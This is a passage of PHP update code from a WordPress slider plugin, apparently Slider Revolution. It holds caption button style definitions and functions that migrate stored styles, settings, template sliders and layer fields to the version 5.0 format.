'{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'), array('handle' => '.tp-caption.NotGeneric-BigButton', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["27px","30px","27px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.15","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.WebProduct-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#333333","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"#000000","border-transparency":"1","border-style":"none","border-width":"2","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"300","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"16px","line-height":"48px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0px","40px","0px","40px"],"text-decoration":"none","text-align":"left","background-color":"#333333","background-transparency":"1","border-color":"#000000","border-transparency":"1","border-style":"none","border-width":"2","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"1px"},"hover":""}'), array('handle' => '.tp-caption.Restaurant-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffe081","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"300","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"500","font-style":"normal","font-family":"Roboto","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#0a0a0a","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Gym-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#72a800","background-transparency":"1","border-color":"#000000","border-transparency":"0","border-style":"solid","border-width":"0","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["13px","35px","13px","35px"],"text-decoration":"none","text-align":"left","background-color":"#8bc027","background-transparency":"1","border-color":"#000000","border-transparency":"0","border-style":"solid","border-width":"0","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"1px"},"hover":""}'), array('handle' => '.tp-caption.Gym-Button-Light', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#72a800","background-transparency":"0","border-color":"#8bc027","border-transparency":"1","border-style":"solid","border-width":"2px","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power2.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"2px","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Sports-Button-Light', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"500","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Sports-Button-Red', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"#000000","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"500","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#db1c22","background-transparency":"1","border-color":"#db1c22","border-transparency":"0","border-style":"solid","border-width":"2px","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Photography-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"300","easing":"power3.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["13px","35px","13px","35px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"1px","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"1px"},"hover":""}'), array('handle' => '.tp-caption.Newspaper-Button-2', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["3px","3px","3px","3px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"900","font-style":"normal","font-family":"Roboto","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"2","border-radius":["3px","3px","3px","3px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), ); foreach($v5 as $v5class){ $result = $wpdb->get_row($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . RevSliderFront::TABLE_CSS . " WHERE handle = %s", $v5class['handle']), ARRAY_A); if(empty($result)){ //add v5 style $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $v5class); } } } /** * update the styles to meet requirements for version 5.0 * @since 5.0 */ public function update_css_styles(){ global $wpdb; $css = RevSliderGlobals::instance()->get('RevSliderCssParser'); $styles = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . RevSliderFront::TABLE_CSS, ARRAY_A); $default_classes = $css->default_css_classes(); $cs = array( 'background-color' => 'backgroundColor', //rgb rgba and opacity 'border-color' => 'borderColor', 'border-radius' => 'borderRadius', 'border-style' => 'borderStyle', 'border-width' => 'borderWidth', 'color' => 'color', 'font-family' => 'fontFamily', 'font-size' => 'fontSize', 'font-style' => 'fontStyle', 'font-weight' => 'fontWeight', 'line-height' => 'lineHeight', 'opacity' => 'opacity', 'padding' => 'padding', 'text-decoration' => 'textDecoration', 'text-align' => 'textAlign', ); $cs = array_merge($cs, $css->get_deformation_css_tags()); foreach($styles as $key => $attr){ if(isset($attr['advanced'])){ $adv = json_decode($attr['advanced'], true); // = array('idle' => array(), 'hover' => ''); }else{ $adv = array('idle' => array(), 'hover' => array()); } if(!isset($adv['idle'])){ $adv['idle'] = array(); } if(!isset($adv['hover'])){ $adv['hover'] = array(); } //only do this to styles prior 5.0 $settings = json_decode($attr['settings'], true); if(!empty($settings) && isset($settings['translated'])){ if(version_compare($settings['translated'], 5.0, '>=')){ continue; } } $idle = json_decode($attr['params'], true); $hover = json_decode($attr['hover'], true); //check if in styles, there is type, then change the type text to something else $the_type = 'text'; if(!empty($idle)){ foreach($idle as $style => $value){ if($style == 'type'){ $the_type = $value; } if(!isset($cs[$style])){ if($style === 0){ continue; } $adv['idle'][$style] = $value; unset($idle[$style]); } } } if(!empty($hover)){ foreach($hover as $style => $value){ if(!isset($cs[$style])){ if($style == 0){ continue; } $adv['hover'][$style] = $value; unset($hover[$style]); } } } $settings['translated'] = 5.0; //set the style version to 5.0 $settings['type'] = $the_type; //set the type version to text, since 5.0 we also have buttons and shapes, so we need to differentiate from now on if(!isset($settings['version'])){ if(isset($default_classes[$styles[$key]['handle']])){ $settings['version'] = $default_classes[$styles[$key]['handle']]; }else{ $settings['version'] = 'custom'; //set the version to custom as its not in the defaults } } $styles[$key]['params'] = json_encode($idle); $styles[$key]['hover'] = json_encode($hover); $styles[$key]['advanced'] = json_encode($adv); $styles[$key]['settings'] = json_encode($settings); } //save now all styles back to database foreach($styles as $key => $attr){ $ret = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, array('settings' => $styles[$key]['settings'], 'params' => $styles[$key]['params'], 'hover' => $styles[$key]['hover'], 'advanced' => $styles[$key]['advanced']), array('id' => $attr['id'])); } } /** * remove the settings from the table and use them from now on with get_option / update_option * @since 5.0 */ public function check_settings_table(){ global $wpdb; if($wpdb->get_var("SHOW TABLES LIKE '" . $wpdb->prefix . RevSliderFront::TABLE_SETTINGS . "'") == $wpdb->prefix . RevSliderFront::TABLE_SETTINGS){ $result = $wpdb->get_row("SELECT `general` FROM " . $wpdb->prefix . RevSliderFront::TABLE_SETTINGS, ARRAY_A); if(isset($result['general'])){ update_option('revslider-global-settings', $result['general']); } } } /** * move the template sliders and add the slides to corresponding post based slider or simply move them and change them to post based slider if no slider is using them * @since 5.0 */ public function move_template_slider(){ global $wpdb; $used = array(); //will store all template IDs that are used by post based Sliders, these can be deleted after the progress. $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = $sr->get_sliders(false); $temp_sliders = $sr->get_sliders(true); if(empty($temp_sliders) || !is_array($temp_sliders)){ return true; } //as we do not have any template sliders, we do not need to run further here if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ if($slider->get_param('source_type', 'gallery') !== 'posts'){ continue; } //only check Slider with type of posts $slider_id = $slider->get_id(); $template_id = $slider->get_param('slider_template_id', 0); if($template_id > 0){ //initialize slider to see if it exists. Then copy over the Template Sliders Slides to the Post Based Slider foreach($temp_sliders as $t_slider){ if($t_slider->get_id() === $template_id){ //copy over the slides //get all slides from template, then copy to Slider $slides = $t_slider->get_slides(false, true); if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $slide_id = $slide->get_id(); $slider->copy_slide_to_slider(array('slider_id' => $slider_id, 'slide_id' => $slide_id)); } } $static_id = $sl->get_static_slide_id($template_id); if($static_id !== false){ $record = $wpdb->get_row($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES . " WHERE id = %d", $static_id), ARRAY_A); unset($record['id']); $record['slider_id'] = $slider_id; $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $record); } $used[$template_id] = $t_slider; break; } } } } } if(!empty($used)){ foreach($used as $tid => $t_slider){ $t_slider->delete_slider(); } } //translate all other template Sliders to normal sliders and set them to post based $temp_sliders = $sr->get_sliders(true); if(!empty($temp_sliders) && is_array($temp_sliders)){ foreach($temp_sliders as $slider){ $slider->update_params(array('template' => 'false', 'source_type' => 'posts')); } } } /** * add missing new animation fields to the layers as all animations would be broken without this * @since 5.0 */ public function add_animation_settings_to_layer($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //false == do it on all Sliders $in_animations = $this->get_animations(); $out_animations = $this->get_end_animations(); if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; //$slider->get_id(); } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ foreach($layers as $lk => $layer){ if($this->get_val($layer, 'x_start', false) === false){ //values are not set, set them now through $anim_values = array(); $animation = $this->get_val($layer, 'animation', 'tp-fade'); $endanimation = $this->get_val($layer, 'endanimation', 'tp-fade'); $animation = ($animation == 'fade') ? 'tp-fade' : $animation; $endanimation = ($endanimation == 'fade') ? 'tp-fade' : $endanimation; foreach($in_animations as $handle => $anim){ if($handle == $animation){ $anim_values = (isset($anim['params'])) ? $anim['params'] : ''; if(!is_array($anim_values)){ $anim_values = json_encode($anim_values); } break; } } $anim_endvalues = array(); foreach($out_animations as $handle => $anim){ if($handle == $endanimation){ $anim_endvalues = (isset($anim['params'])) ? $anim['params'] : ''; if(!is_array($anim_endvalues)){ $anim_endvalues = json_encode($anim_endvalues); } break; } } $layers[$lk]['x_start'] = $this->get_val($anim_values, 'movex', 'inherit'); $layers[$lk]['x_end'] = $this->get_val($anim_endvalues, 'movex', 'inherit'); $layers[$lk]['y_start'] = $this->get_val($anim_values, 'movey', 'inherit'); $layers[$lk]['y_end'] = $this->get_val($anim_endvalues, 'movey', 'inherit'); $layers[$lk]['z_start'] = $this->get_val($anim_values, 'movez', 'inherit'); $layers[$lk]['z_end'] = $this->get_val($anim_endvalues, 'movez', 'inherit'); $layers[$lk]['x_rotate_start'] = $this->get_val($anim_values, 'rotationx', 'inherit'); $layers[$lk]['x_rotate_end'] = $this->get_val($anim_endvalues, 'rotationx', 'inherit'); $layers[$lk]['y_rotate_start'] = $this->get_val($anim_values, 'rotationy', 'inherit'); $layers[$lk]['y_rotate_end'] = $this->get_val($anim_endvalues, 'rotationy', 'inherit'); $layers[$lk]['z_rotate_start'] = $this->get_val($anim_values, 'rotationz', 'inherit'); $layers[$lk]['z_rotate_end'] = $this->get_val($anim_endvalues, 'rotationz', 'inherit'); $layers[$lk]['scale_x_start'] = $this->get_val($anim_values, 'scalex', 'inherit'); if(intval($layers[$lk]['scale_x_start']) > 10){ $layers[$lk]['scale_x_start'] /= 100; } $layers[$lk]['scale_x_end'] = $this->get_val($anim_endvalues, 'scalex', 'inherit'); if(intval($layers[$lk]['scale_x_end']) > 10){ $layers[$lk]['scale_x_end'] /= 100; } $layers[$lk]['scale_y_start'] = $this->get_val($anim_values, 'scaley', 'inherit'); if(intval($layers[$lk]['scale_y_start']) > 10){ $layers[$lk]['scale_y_start'] /= 100; } $layers[$lk]['scale_y_end'] = $this->get_val($anim_endvalues, 'scaley', 'inherit'); if(intval($layers[$lk]['scale_y_end']) > 10){ $layers[$lk]['scale_y_end'] /= 100; } $layers[$lk]['skew_x_start'] = $this->get_val($anim_values, 'skewx', 'inherit'); $layers[$lk]['skew_x_end'] = $this->get_val($anim_endvalues, 'skewx', 'inherit'); $layers[$lk]['skew_y_start'] = $this->get_val($anim_values, 'skewy', 'inherit'); $layers[$lk]['skew_y_end'] = $this->get_val($anim_endvalues, 'skewy', 'inherit'); $layers[$lk]['opacity_start'] = $this->get_val($anim_values, 'captionopacity', 'inherit'); $layers[$lk]['opacity_end'] = $this->get_val($anim_endvalues, 'captionopacity', 'inherit'); } } $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } /** * add/change layers options * @since 5.0 */ public function change_settings_on_layers($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $msl = new RevSliderSlide(); if(strpos($staticID, 'static_') === false){ $staticID = 'static_'. $staticID; //$slider->get_id(); } $msl->init_by_id($staticID); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $do_save = false; foreach($layers as $lk => $layer){ $link_slide = $this->get_val($layer, 'link_slide', false); if($link_slide != false && $link_slide !== 'nothing'){ //link to slide/scrollunder is set, move it to actions $layers[$lk]['layer_action'] = new stdClass(); switch($link_slide){ case 'link': $link = $this->get_val($layer, 'link'); $link_open_in = $this->get_val($layer, 'link_open_in'); $layers[$lk]['layer_action']->action = array('a' => 'link'); $layers[$lk]['layer_action']->link_type = array('a' => 'a'); $layers[$lk]['layer_action']->image_link = array('a' => $link); $layers[$lk]['layer_action']->link_open_in = array('a' => $link_open_in); unset($layers[$lk]['link']); unset($layers[$lk]['link_open_in']); case 'next': $layers[$lk]['layer_action']->action = array('a' => 'next'); break; case 'prev': $layers[$lk]['layer_action']->action = array('a' => 'prev'); break; case 'scroll_under': $scrollunder_offset = $this->get_val($layer, 'scrollunder_offset'); $layers[$lk]['layer_action']->action = array('a' => 'scroll_under'); $layers[$lk]['layer_action']->scrollunder_offset = array('a' => $scrollunder_offset); unset($layers[$lk]['scrollunder_offset']); break; default: //its an ID, so its a slide ID $layers[$lk]['layer_action']->action = array('a' => 'jumpto'); $layers[$lk]['layer_action']->jump_to_slide = array('a' => $link_slide); break; } $layers[$lk]['layer_action']->tooltip_event = array('a' => 'click'); unset($layers[$lk]['link_slide']); $do_save = true; } } if($do_save){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } } /** * add missing new style fields to the layers as all layers would be broken without this * @since 5.0 */ public function add_style_settings_to_layer($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false $styles = $this->get_captions_array(); if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $msl = new RevSliderSlide(); if(strpos($staticID, 'static_') === false){ $staticID = 'static_'. $staticID; //$slider->get_id(); } $msl->init_by_id($staticID); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ foreach($layers as $lk => $layer){ $static_styles = (array) $this->get_val($layer, 'static_styles', array()); $def_val = (array) $this->get_val($layer, 'deformation', array()); $defh_val = (array) $this->get_val($layer, 'deformation-hover', array()); if(empty($def_val)){ //add parallax always! $def_val['parallax'] = $this->get_val($layer, 'parallax_level', '-'); $layers[$lk]['deformation'] = $def_val; //check for selected style in styles, then add all deformations to the layer $cur_style = $this->get_val($layer, 'style', ''); if(trim($cur_style) == ''){ continue; } $wws = false; foreach($styles as $style){ if($style['handle'] == '.tp-caption.'. $cur_style){ $wws = $style; break; } } if($wws == false){ continue; } $css_idle = ''; $css_hover = ''; $wws['params'] = (array) $wws['params']; $wws['hover'] = (array) $wws['hover']; $wws['advanced'] = (array) $wws['advanced']; if(isset($wws['params']['font-family'])){ $def_val['font-family'] = $wws['params']['font-family']; } if(isset($wws['params']['padding'])){ $raw_pad = $wws['params']['padding']; if(!is_array($raw_pad)){ $raw_pad = explode(' ', $raw_pad); } switch(count($raw_pad)){ case 1: $raw_pad = array($raw_pad[0], $raw_pad[0], $raw_pad[0], $raw_pad[0]); break; case 2: $raw_pad = array($raw_pad[0], $raw_pad[1], $raw_pad[0], $raw_pad[1]); break; case 3: $raw_pad = array($raw_pad[0], $raw_pad[1], $raw_pad[2], $raw_pad[1]); break; } $def_val['padding'] = $raw_pad; } if(isset($wws['params']['font-style'])){ $def_val['font-style'] = $wws['params']['font-style']; } if(isset($wws['params']['text-decoration'])){ $def_val['text-decoration'] = $wws['params']['text-decoration']; } if(isset($wws['params']['background-color'])){ if($this->is_rgb($wws['params']['background-color'])){ $def_val['background-color'] = $this->rgba2hex($wws['params']['background-color']); }else{ $def_val['background-color'] = $wws['params']['background-color']; } } if(isset($wws['params']['background-transparency'])){ $def_val['background-transparency'] = $wws['params']['background-transparency']; if($def_val['background-transparency'] > 1){ $def_val['background-transparency'] /= 100; } }else{ if(isset($wws['params']['background-color'])){ $def_val['background-transparency'] = $this->get_trans_from_rgba($wws['params']['background-color'], true); } } if(isset($wws['params']['border-color'])){ if($this->is_rgb($wws['params']['border-color'])){ $def_val['border-color'] = $this->rgba2hex($wws['params']['border-color']); }else{ $def_val['border-color'] = $wws['params']['border-color']; } } if(isset($wws['params']['border-style'])){ $def_val['border-style'] = $wws['params']['border-style']; } if(isset($wws['params']['border-width'])){ $def_val['border-width'] = $wws['params']['border-width']; } if(isset($wws['params']['border-radius'])){ $raw_bor = $wws['params']['border-radius']; if(!is_array($raw_bor)){ $raw_bor = explode(' ', $raw_bor); } switch (count($raw_bor)){ case 1: $raw_bor = array($raw_bor[0], $raw_bor[0], $raw_bor[0], $raw_bor[0]); break; case 2: $raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[0], $raw_bor[1]); break; case 3: $raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[2], $raw_bor[1]); break; } $def_val['border-radius'] = $raw_bor; } if(isset($wws['params']['x'])){ $def_val['x'] = $wws['params']['x']; } if(isset($wws['params']['y'])){ $def_val['y'] = $wws['params']['y']; } if(isset($wws['params']['z'])){ $def_val['z'] = $wws['params']['z']; } if(isset($wws['params']['skewx'])){ $def_val['skewx'] = $wws['params']['skewx']; } if(isset($wws['params']['skewy'])){ $def_val['skewy'] = $wws['params']['skewy']; } if(isset($wws['params']['scalex'])){ $def_val['scalex'] = $wws['params']['scalex']; } if(isset($wws['params']['scaley'])){ $def_val['scaley'] = $wws['params']['scaley']; } if(isset($wws['params']['opacity'])){ $def_val['opacity'] = $wws['params']['opacity']; } if(isset($wws['params']['xrotate'])){ $def_val['xrotate'] = $wws['params']['xrotate']; } if(isset($wws['params']['yrotate'])){ $def_val['yrotate'] = $wws['params']['yrotate']; } if(isset($wws['params']['2d_rotation'])){ $def_val['2d_rotation'] = $wws['params']['2d_rotation']; } if(isset($wws['params']['2d_origin_x'])){ $def_val['2d_origin_x'] = $wws['params']['2d_origin_x']; } if(isset($wws['params']['2d_origin_y'])){ $def_val['2d_origin_y'] = $wws['params']['2d_origin_y']; } if(isset($wws['params']['pers'])){ $def_val['pers'] = $wws['params']['pers']; } if(isset($wws['params']['color'])){ $static_styles['color'] = ($this->is_rgb($wws['params']['color'])) ? $this->rgba2hex($wws['params']['color']) : $static_styles['color'] = $wws['params']['color']; } if(isset($wws['params']['font-weight'])){ $static_styles['font-weight'] = $wws['params']['font-weight']; } if(isset($wws['params']['font-size'])){ $static_styles['font-size'] = $wws['params']['font-size']; } if(isset($wws['params']['line-height'])){ $static_styles['line-height'] = $wws['params']['line-height']; } if(isset($wws['params']['font-family'])){ $static_styles['font-family'] = $wws['params']['font-family']; } if(isset($wws['advanced']) && isset($wws['advanced']['idle']) && is_array($wws['advanced']['idle']) && !empty($wws['advanced']['idle'])){ $css_idle = '{'. "\n"; foreach($wws['advanced']['idle'] as $handle => $value){ $value = implode(' ', $value); if($value !== ''){ $css_idle .= ' '. $key .': '. $value .';'. "\n"; } } $css_idle .= '}'. "\n"; } if(isset($wws['hover']['color'])){ if($this->is_rgb($wws['hover']['color'])){ $defh_val['color'] = $this->rgba2hex($wws['hover']['color']); }else{ $defh_val['color'] = $wws['hover']['color']; } } if(isset($wws['hover']['text-decoration'])){ $defh_val['text-decoration'] = $wws['hover']['text-decoration']; } if(isset($wws['hover']['background-color'])){ if($this->is_rgb($wws['hover']['background-color'])){ $defh_val['background-color'] = $this->rgba2hex($wws['hover']['background-color']); }else{ $defh_val['background-color'] = $wws['hover']['background-color']; } } if(isset($wws['hover']['background-transparency'])){ $defh_val['background-transparency'] = $wws['hover']['background-transparency']; if($defh_val['background-transparency'] > 1){ $defh_val['background-transparency'] /= 100; } }else{ if(isset($wws['hover']['background-color'])){ $defh_val['background-transparency'] = $this->get_trans_from_rgba($wws['hover']['background-color'], true); } } if(isset($wws['hover']['border-color'])){ if($this->is_rgb($wws['hover']['border-color'])){ $defh_val['border-color'] = $this->rgba2hex($wws['hover']['border-color']); }else{ $defh_val['border-color'] = $wws['hover']['border-color']; } } if(isset($wws['hover']['border-style'])){ $defh_val['border-style'] = $wws['hover']['border-style']; } if(isset($wws['hover']['border-width'])){ $defh_val['border-width'] = $wws['hover']['border-width']; } if(isset($wws['hover']['border-radius'])){ $raw_bor = $wws['hover']['border-radius']; if(!is_array($raw_bor)){ 